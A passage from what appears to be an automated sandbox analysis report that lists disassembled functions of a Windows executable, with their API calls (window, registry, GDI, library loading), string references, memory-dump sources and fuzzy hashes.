Opcode Fuzzy Hash: 594a4808baee31a767fdc62f7c8140403948de5799d907349c6831314b1ca9d7
Instruction Fuzzy Hash: 52319A71700625EFDB20DF56E8C5CAABBA9FF48310B90863EE51A93610C734BD51CB98

Function 0040CC2D Relevance: 10.6, APIs: 7, Instructions: 86windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000002), ref: 0040CC48
GetParent.USER32(?), ref: 0040CC59
GetWindow.USER32(?,00000002), ref: 0040CC7C
GetWindow.USER32(?,00000002), ref: 0040CC8E
GetWindowLongA.USER32(?,000000EC), ref: 0040CC9D
IsWindowVisible.USER32(?), ref: 0040CCB7
GetTopWindow.USER32(?), ref: 0040CCDD

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Window$LongParentVisible
String ID:
API String ID: 506644340-0
Opcode ID: c70ef7d8c11c9b3d2c2ff62202ba04e1108e68c61368e778a638a0a540840f3a
Instruction ID: 9a1c37ed5188bfc8f33535311d62c0bbdcb57dd72d5f2f5136bb94345a51e9fd
Opcode Fuzzy Hash: c70ef7d8c11c9b3d2c2ff62202ba04e1108e68c61368e778a638a0a540840f3a
Instruction Fuzzy Hash: 3D21B631704725EBE7316B66DC89F1B76AC9F44350F450A3AB906B72E1C63CEC0297A8

Function 00429DD5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?,?,00000000), ref: 00429E03
RegCreateKeyExA.ADVAPI32(?,00000000,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 00429E26
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 00429E42
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00429E52
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00429E5C

Strings

software, xrefs: 00429DEB

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 72d1def7f2d6fdd73a8869adbf3cb73964bbc3421da6f381463cdf1f6bf9f63c
Instruction ID: 4196c354c669fe93409805c9569d3fa6af76ca9127a827bb77615f6dc873523b
Opcode Fuzzy Hash: 72d1def7f2d6fdd73a8869adbf3cb73964bbc3421da6f381463cdf1f6bf9f63c
Instruction Fuzzy Hash: 6B11FB72E00268FBDB21DB96DD84DDFBFBCEF89750F50006AE504A2111D2719E05DB64

Function 004051A3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 62stringCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 004051E1
GetSystemMetrics.USER32(00000000), ref: 004051F9
GetSystemMetrics.USER32(00000001), ref: 00405200
lstrcpynA.KERNEL32(?,DISPLAY,00000020), ref: 00405226

Strings

DISPLAY, xrefs: 0040521D
B, xrefs: 004051C0

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: System$Metrics$InfoParameterslstrcpyn
String ID: B$DISPLAY
API String ID: 2307409384-3316187204
Opcode ID: 01cb16e888f42547f2c344bd68f40c19bd14a3463d0f9075f0a2184348a044af
Instruction ID: e98ffc39238d76ad18c2064865fb770f623c726fedb459cf3e2701fb3375c0a4
Opcode Fuzzy Hash: 01cb16e888f42547f2c344bd68f40c19bd14a3463d0f9075f0a2184348a044af
Instruction Fuzzy Hash: 8D11A371601624ABCF219F659C84A5BBBA8EF09740B8044B6FD05BE185D275D801CFE9

Function 00427E43 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GetMapMode.GDI32(?,00000000,?,?,?,?,00407746,?), ref: 00427E53
GetDeviceCaps.GDI32(?,00000058), ref: 00427E8D
GetDeviceCaps.GDI32(?,0000005A), ref: 00427E96

Part of subcall function 00425FE0: MulDiv.KERNEL32(00407746,00000000,00000000), ref: 00426020
Part of subcall function 00425FE0: MulDiv.KERNEL32(4689EC45,00000000,00000000), ref: 0042603D

MulDiv.KERNEL32(Fw@,00000060,000009EC), ref: 00427EBA
MulDiv.KERNEL32(00000000,?,000009EC), ref: 00427EC5

Strings

Fw@, xrefs: 00427EA5, 00427E6E, 00427EAF

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CapsDevice$Mode
String ID: Fw@
API String ID: 696222070-2650048193
Opcode ID: e3170947b1cc198c57297360878fe5df2dbdc7ddbbd9112fc42464f21816eb6e
Instruction ID: fb80d5ef7b3a5028a237277ba05e0f2eaaf9dab0768e1b579059bcf110595a45
Opcode Fuzzy Hash: e3170947b1cc198c57297360878fe5df2dbdc7ddbbd9112fc42464f21816eb6e
Instruction Fuzzy Hash: 1711C235700720AFDB219F55DC44C1FBBA9EF84750752042AF98157360C7759D02CB98

Function 00422880 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00429F15: EnterCriticalSection.KERNEL32(0043F21C,?,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF), ref: 00429F43
Part of subcall function 00429F15: InitializeCriticalSection.KERNEL32(00000000,?,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF), ref: 00429F55
Part of subcall function 00429F15: LeaveCriticalSection.KERNEL32(0043F21C,?,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF), ref: 00429F5E
Part of subcall function 00429F15: EnterCriticalSection.KERNEL32(00000000,00000000,?,?,00429937,00000010,76230A60,00000000,?,?,?,004295F9,004295AC,00428940,004295FF,0041F399), ref: 00429F70

Part of subcall function 00429916: __EH_prolog.LIBCMT ref: 0042991B

LoadLibraryA.KERNEL32(hhctrl.ocx,004290F1,0000000C), ref: 004228A4
GetProcAddress.KERNEL32(00000000,HtmlHelpA), ref: 004228B7
FreeLibrary.KERNEL32(?), ref: 004228C7

Strings

|C, xrefs: 0042288D
hhctrl.ocx, xrefs: 0042289F
HtmlHelpA, xrefs: 004228B1

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CriticalSection$EnterLibrary$AddressFreeH_prologInitializeLeaveLoadProc
String ID: HtmlHelpA$hhctrl.ocx$|C
API String ID: 813623328-2960013086
Opcode ID: 76f3623a875863b6600950783369de3e50677ae7417989a49c3df338fd27278c
Instruction ID: 8ff148b5d027a1bd9c09299d9886496cc310a26e86ad88824c01f6ca9606dbec
Opcode Fuzzy Hash: 76f3623a875863b6600950783369de3e50677ae7417989a49c3df338fd27278c
Instruction Fuzzy Hash: A6F04430344311EFD7606F72EE09B177AD4AF08B15F40892EF05BD15A0DBB8C844972A

Function 0042547E Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

GetSysColor.USER32(0000000F), ref: 0042548A
GetSysColor.USER32(00000010), ref: 00425491
GetSysColor.USER32(00000014), ref: 00425498
GetSysColor.USER32(00000012), ref: 0042549F
GetSysColor.USER32(00000006), ref: 004254A6
GetSysColorBrush.USER32(0000000F), ref: 004254B3
GetSysColorBrush.USER32(00000006), ref: 004254BA

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: 5e9fe926aba121c93cda4fa03a08df81998be73ca4ec86a4fc7898ccbcd5bfd0
Instruction ID: 78561b53b6dc26605db7459fdb8494e68ce8eabe85823d8095c3e3f311011118
Opcode Fuzzy Hash: 5e9fe926aba121c93cda4fa03a08df81998be73ca4ec86a4fc7898ccbcd5bfd0
Instruction Fuzzy Hash: 2BF0F871A407489BD730BB729D09B47BAE1FFC4B10F02092EE2818BA90E6B6E0419F44

Function 00427ED1 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 24registrywindowCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 00427ED9
GetVersion.KERNEL32 ref: 00427EE4
GetVersion.KERNEL32 ref: 00427EEC
GetVersion.KERNEL32 ref: 00427EF2
RegisterWindowMessageA.USER32(MSWHEEL_ROLLMSG), ref: 00427EFF

Strings

MSWHEEL_ROLLMSG, xrefs: 00427EFA

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Version$MessageRegisterWindow
String ID: MSWHEEL_ROLLMSG
API String ID: 303823969-2485103130
Opcode ID: 05bd7beb7a7556ba018a9a177a96ae2ca3a30c583be59b7c1ae453c514f770bd
Instruction ID: cf2be246d5d97fda33aa8db455070e9bef683d48ca9bcd61a13d8190e2691888
Opcode Fuzzy Hash: 05bd7beb7a7556ba018a9a177a96ae2ca3a30c583be59b7c1ae453c514f770bd
Instruction Fuzzy Hash: 38E0803AA0D13546D7116764BE4476B66A45B54361FD6007BC90143764976C0C878A7E

Function 0040EF6B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 13libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(mscoree.dll,0040F0D9,?,00431AC0,00000008,0040F110,?,00000001,00000000,00412FBC,00000003), ref: 0040EF70
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040EF80
ExitProcess.KERNEL32 ref: 0040EF94

Strings

mscoree.dll, xrefs: 0040EF6B
`#vp,$v, xrefs: 0040EF70
CorExitProcess, xrefs: 0040EF7A

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$`#vp,$v$mscoree.dll
API String ID: 75539706-2710989135
Opcode ID: fd8063930fbf66e5889c8e5221376f06f177b086132e45f551b3fdf05346e537
Instruction ID: 941fb14b8e6e74046c3674dea832eee8b0a2cfa7b7099c50836eeb20d6140e2c
Opcode Fuzzy Hash: fd8063930fbf66e5889c8e5221376f06f177b086132e45f551b3fdf05346e537
Instruction Fuzzy Hash: 0FD0C730705301BFD7106B63DC0DF1A3A58AE44B05B485D357446D01B0CF74C851E52D

Function 0040C22B Relevance: 9.4, APIs: 6, Instructions: 384COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040C230
VariantClear.OLEAUT32(?), ref: 0040C292
VariantClear.OLEAUT32(00000007), ref: 0040C5C0
VariantClear.OLEAUT32(?), ref: 0040C735

Part of subcall function 0040D77F: VariantCopy.OLEAUT32(?,?), ref: 0040D787

Part of subcall function 00408A64: SystemTimeToVariantTime.OLEAUT32(?), ref: 00408AB2

VariantClear.OLEAUT32(?), ref: 0040C715

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Variant$Clear$Time$CopyH_prologSystem
String ID:
API String ID: 2075586698-0
Opcode ID: 1364f7f1f86d658b4d6e8cd494515ac68c753655f9690c10ced3c2c88684c333
Instruction ID: 6ab10ce611a99a1f8f361261b98790ac6c7d0aa24a7c23b9a0ac30f561102aa8
Opcode Fuzzy Hash: 1364f7f1f86d658b4d6e8cd494515ac68c753655f9690c10ced3c2c88684c333
Instruction Fuzzy Hash: BCE12B7580011CEACF15EB94C991AFEBB79BF18304F0441ABF845B32D1EB385A49DB69

Function 004155CE Relevance: 9.1, APIs: 6, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,004322C4,00000001,?,004322F0,0000001C,0040FB4A,00000001,00000020,00000100,?,00000000), ref: 004155F2
GetLastError.KERNEL32 ref: 00415604
MultiByteToWideChar.KERNEL32(?,00000000,00000000,0040FE1B,00000000,00000000,004322F0,0000001C,0040FB4A,00000001,00000020,00000100,?,00000000), ref: 00415666
MultiByteToWideChar.KERNEL32(?,00000001,00000000,0040FE1B,?,00000000), ref: 004156E4
GetStringTypeW.KERNEL32(00000000,?,00000000,?,?,00000000), ref: 004156F6

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ByteCharMultiStringTypeWide$ErrorLast
String ID:
API String ID: 3581945363-0
Opcode ID: 1d6e66a6560f70aff42be1d47028f91ef8b4c7634ef11d4c805a64f0cb85e88e
Instruction ID: a1f57d75a495807adbd5f9f81b07e7c36f1fa25e7f2b40525a61db36998abfa5
Opcode Fuzzy Hash: 1d6e66a6560f70aff42be1d47028f91ef8b4c7634ef11d4c805a64f0cb85e88e
Instruction Fuzzy Hash: CC41E231900A15EBCF219F51DC46EEF7B75FF88760F14052AF814A6290D7388991DBE8

Function 0040C753 Relevance: 9.1, APIs: 6, Instructions: 137COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040C758
VariantClear.OLEAUT32(?), ref: 0040C80A
SysFreeString.OLEAUT32(00000000), ref: 0040C88B
SysFreeString.OLEAUT32(00000000), ref: 0040C89A
SysFreeString.OLEAUT32(00000000), ref: 0040C8A9
VariantClear.OLEAUT32(00000000), ref: 0040C8BE

Part of subcall function 0040C22B: __EH_prolog.LIBCMT ref: 0040C230
Part of subcall function 0040C22B: VariantClear.OLEAUT32(?), ref: 0040C292

Part of subcall function 0040D77F: VariantCopy.OLEAUT32(?,?), ref: 0040D787

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Variant$ClearFreeString$H_prolog$Copy
String ID:
API String ID: 3098219910-0
Opcode ID: 979a942dbc2bf8fde55d4df949cd0def5ce3ee024a13b008bae821c373d48dc3
Instruction ID: 36662450c5e1947f06e528152222194ba2e0adfdc782b58db195a1114ff86cd1
Opcode Fuzzy Hash: 979a942dbc2bf8fde55d4df949cd0def5ce3ee024a13b008bae821c373d48dc3
Instruction Fuzzy Hash: 33512AB1A00209DFDB24DFA4C884BEEB7B8FF44305F10462EE516E7291D778A945CB68

Function 00426ED9 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 00426F0B
GetParent.USER32(?), ref: 00426F19
GetParent.USER32(?), ref: 00426F2C
GetLastActivePopup.USER32(?), ref: 00426F3B
IsWindowEnabled.USER32(?), ref: 00426F50
EnableWindow.USER32(?,00000000), ref: 00426F63

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: e6b9fbe2978fe384cc6369b478063f7d970489e6a0ea732f4327e87d7b57f048
Instruction ID: 07f23732e05c0ddae676fdba191ad6f2f3c3259ccd052a946048ec3c933e7ffc
Opcode Fuzzy Hash: e6b9fbe2978fe384cc6369b478063f7d970489e6a0ea732f4327e87d7b57f048
Instruction Fuzzy Hash: 0411063230823157CE316A5A7E40B2BB29C5F68B50FC7002BED10D3304EB28CC0246DD

Function 004266BB Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 004266CA
GetDlgCtrlID.USER32(00000000), ref: 004266DE
GetWindowLongA.USER32(00000000,000000F0), ref: 004266EC
GetWindowRect.USER32(00000000,?), ref: 004266FE
PtInRect.USER32(?,?,?), ref: 0042670E
GetWindow.USER32(?,00000005), ref: 0042671B

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: 59508210cca9db84bfe781cdbc9e2c47ff541434b0194dd008954dc1c14c9765
Instruction ID: 83608b20ab5d7acfc5f4007f6359faa5a2816e21795921f9c93a6bd5c83018c8
Opcode Fuzzy Hash: 59508210cca9db84bfe781cdbc9e2c47ff541434b0194dd008954dc1c14c9765
Instruction Fuzzy Hash: 2F018F35300125ABDB21AF56AC08EAF3B68AF44751F810026F91193190DB34D9028BA8

Function 00415BE4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

B, xrefs: 00415CDA

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID:
String ID: B
API String ID: 0-2386870291
Opcode ID: 02d30d9259a4a2bad5bd7c57acdfbd4e8b1d24c0360f644a24d44c51bf277f00
Instruction ID: e63f41d058283e0c0eb0ae7a93c28366d44745800656fe3e600f804c74b5ca7e
Opcode Fuzzy Hash: 02d30d9259a4a2bad5bd7c57acdfbd4e8b1d24c0360f644a24d44c51bf277f00
Instruction Fuzzy Hash: E2312971904701EADB249F36AD45BDB37A4DF95314F24447BF909E2282FB7C8981839D

Function 00421EC1 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000405,00000000,?), ref: 00421F77
GetWindowLongA.USER32(?,000000FC), ref: 00421F89
GetWindowLongA.USER32(?,000000FC), ref: 00421F9A
SetWindowLongA.USER32(?,000000FC,?), ref: 00421FB6

Strings

(, xrefs: 00421F6D

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: LongWindow$MessageSend
String ID: (
API String ID: 2178440468-3887548279
Opcode ID: db8b89a14fc87ba1fce35da2007820129314c722bc1527cb392caf885202c5e2
Instruction ID: 4f815d2d5e0452abf6b21b186733e73ea544739a7e03d6a9e74580ef656ef9a0
Opcode Fuzzy Hash: db8b89a14fc87ba1fce35da2007820129314c722bc1527cb392caf885202c5e2
Instruction Fuzzy Hash: 063105353003249FCB20AF6AE984A6FB7B4BF14314F95052EF552977A1DB39E805CB98

Function 0041FF75 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 0041FFB6
GetDlgItem.USER32(?,00000002), ref: 0041FFD5
IsWindowEnabled.USER32(00000000), ref: 0041FFE0
SendMessageA.USER32(?,00000111,00000002,00000000), ref: 0041FFF6

Strings

Edit, xrefs: 0041FFC0

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Window$EnabledItemLongMessageSend
String ID: Edit
API String ID: 3499652902-554135844
Opcode ID: b63e96ee084e1519c21dae61d460767de6b5ab3118784dc55616f40cff51c415
Instruction ID: 3fda86f08f798bfc712dbe9114479d5ed61c9c1c5043182bfc70c8b50dcb543f
Opcode Fuzzy Hash: b63e96ee084e1519c21dae61d460767de6b5ab3118784dc55616f40cff51c415
Instruction Fuzzy Hash: EF01C830300221AAFA302A26BC05B9BB7966F11759F94443BF402D12A2CBE9DCC6C55C

Function 00416AB0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 29libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00432A70,00000010,004107C0,00000000,00000FA0,76230A60,00000000,00411F62,0040E8F2,?,00431A70,00000060), ref: 00416AD3
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionAndSpinCount), ref: 00416AE3

Strings

InitializeCriticalSectionAndSpinCount, xrefs: 00416ADD
kernel32.dll, xrefs: 00416ACE
`#vp,$v, xrefs: 00416AD3

